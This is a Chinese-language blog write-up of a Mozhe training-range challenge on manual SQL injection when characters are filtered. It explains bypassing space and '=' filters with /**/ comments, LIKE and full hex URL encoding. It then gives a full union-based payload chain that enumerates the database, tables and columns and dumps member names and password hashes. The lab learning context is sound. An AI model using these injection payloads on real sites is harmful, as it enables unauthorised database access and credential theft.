墨者 - SQL过滤字符后手工注入漏洞测试(第1题)

一开始使用order by,union select ,and 字段,发现返回并没有变化。

推测这些字段是已经过滤掉了

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第1张图片

后来,上网查询后发现 ,不但这些字段过滤,还有空格和‘=’也被过滤掉了

所以‘=’可以用Like 替代,空格用/**/,url 要编码转义 

在这里有个坑,花了我不少时间

一般url都是用在线url解码,例如:https://tool.chinaz.com/tools/urlencode.aspx

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第2张图片

例如这个,测试字段  /**/order/**/by/**/1

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第3张图片

 问题来了,我带着编码后的url访问,还是被过滤掉了????

 emmmm.......然后我发现与别人发的编码url有点不一样?

(这里参考 多崎巡礼 的 https://blog.csdn.net/qq_42357070/article/details/82885533)

 

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第4张图片

 

我去百度,很遗憾的发现整个百度全是转载多崎巡礼的博客教程的,我真是佛了.....

后来通过查阅资料,我终于明白了其中的原因,先普及一下url的编码概念吧。

 

url编码

URL 只能使用 ASCII 字符集来通过因特网进行发送。 也就是说URL只能使用英文字母、阿拉伯数字和某些标点符号,不能使用其他文字和符号

Url编码通常也被称为百分号编码(percent-encoding),是因为它的编码方式非常简单,使用%百分号加上两位的

字符——123456789ABCDEF——代表一个字节的十六进制形式对于ASCII字符,字母a 在ASCII码中对应的字节是

0x61,那么Url编码之后得到的就是%61,字母abc, url编码后得到的就是%61%62%63对于非ASCII字符,RFC文

档建议使用utf-8对其进行编码得到相应的字节,然后对每个字节执行百分号编码。如"中文"使用UTF-8字符集得到的

字节为0xE4 0xB8 0xAD 0xE6 0x96 0x87,经过Url编码之后得到"%E4%B8%AD%E6%96%87"。

这里参考链接:https://www.cnblogs.com/Wahitler/p/4761373.html

 

我这个在线转换工具不行,,因为他只是做初步编码,细看发现,他的编码还保留了英文字母......不要看着他编码复杂了就不看了,还是要仔细看,其实挺简单的们就是把所有都转成16进制形式的ASCII就行了

例如好奇的话可以参考ASCII码对照表:https://www.litefeel.com/tools/ascii.php

 

现在我找到一个完全转16进制形式的ASCII的url编码工具:http://web.chacuo.net/charseturlencode

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第5张图片

成功,解释跳转url

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第6张图片

url转义问题解决,可以开始走正常的注入思路了,测试字段个数,直到4都没报错,所以字段数有4个。

union 注入

-1/**/union/**/select/**/1,2,3,4 ,测试回显位置

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第7张图片

 

-1/**/union/**/select/**/1,database(),3,4,爆库

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第8张图片

-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()  爆表

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第9张图片

在这里说明一下group_concat(col_name)函数,可以把该列的所有数据合并成一行,col_name为列名

墨者 - SQL过滤字符后手工注入漏洞测试(第1题)_第10张图片

所以上面的意思是从information_schema.tables表中,查列名为table_name的所有值合并回显出来。

这样子的好处呢就是方便,也不用用limit(0,1)函数来一个一个测了。

-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'stormgroup_member'  爆字段

-1/**/union/**/select/**/1,2,group_concat(name,0x7c,password,0x7e),4/**/from/**/stormgroup_member  爆字段值

 MD5在线解密一下,获取结果

你可能感兴趣的:(墨者刷题笔记)